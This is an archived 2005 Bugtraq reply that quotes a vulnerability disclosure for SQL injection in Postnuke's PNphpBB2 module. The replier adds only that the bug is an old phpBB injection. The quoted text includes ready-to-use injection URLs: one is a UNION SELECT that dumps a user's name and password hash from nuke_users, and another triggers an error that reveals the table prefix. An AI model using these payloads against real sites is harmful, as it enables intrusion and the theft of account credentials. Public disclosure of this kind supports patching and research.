bugtraq - Re: [ Postnuke all versions + pnphpbb <=1.2 sql injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050302001824.29659.qmail@www.securityfocus.com>
Date: 2 Mar 2005 00:18:24 -0000
From: Maksymilian Arciemowicz <max@...tsuper.pl>
To: bugtraq@...urityfocus.com
Subject: Re: [ Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor ]


In-Reply-To: <20050301221521.7282.qmail@....securityfocus.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>[Postnuke all versions + pnphpbb <=1.2 sql injection - jocanor]
>
>Author: Jocanor
>Date: 01-03-2k5
>
>
>1. -----------introduction--------.
>
>Postnuke is an open source CMS (content management system), originally based in php-nuke. (www.postnuke.com)
>
>pnphpbb is a module for postnuke based in popular forum system phpbb. (www.phpbb.com)
>
>2. ------------the bug------------
>
>in 26 -03-04 janek vind discovers a bug in phpbb forums, in prvmsg.php file described in the bugtraq id 9984 and the bug affects also to php-nuke; butraq privades exploits for exploit this bug in php-nuke and phpbb.
>
>But the module Pnphpbb (postnuke phpbb) is also vulnerable to this issue, and its easy to exploit:
>
>http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20[sql here]
>
>3 -------- the exploit ----------
>
>Working exploit:
>
>http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20pn_uname,pn_pass,pn_pass,pn_pass,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20nuke_users%20where%20pn_uid=2/*
>
>Show password hash for the user with uid = 2.
>
>4. ------important notes-----
>
>Note: if don't works, changue the prefix nuke_ for the valid prefix, you can get the valid table prefix causing an error like this:
>
>http://www.example.com/index.php?name=PNphpBB2&file=privmsg&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20'
>
>
>5----- Contact -----
>
>Author: Jocanor 
>Location: Spain
>Email: jocanor [at] gmail [dot] com
>
>JoCaNoR SeCuRiTy ReaSoNS
>
>EOF.
>

Frist check http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2650
etc.

This is sql injection in phpbb. Old sql injection..

Author: Maksymilian Arciemowicz
Email: cxib[at]securityreason[dot].com
GPG-KEY: http://securityreason/gpg/key.gpg
SECURITYREASON.COM TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (FreeBSD)

iD8DBQFCJKMFznmvyJCR4zQRAsvMAJ9Qus2ukYRx6Y/dXMxuVb2+xwSl2QCgnyUZ
d2TP6nXTXqx+yWettkbfYuE=
=nsYW
-----END PGP SIGNATURE-----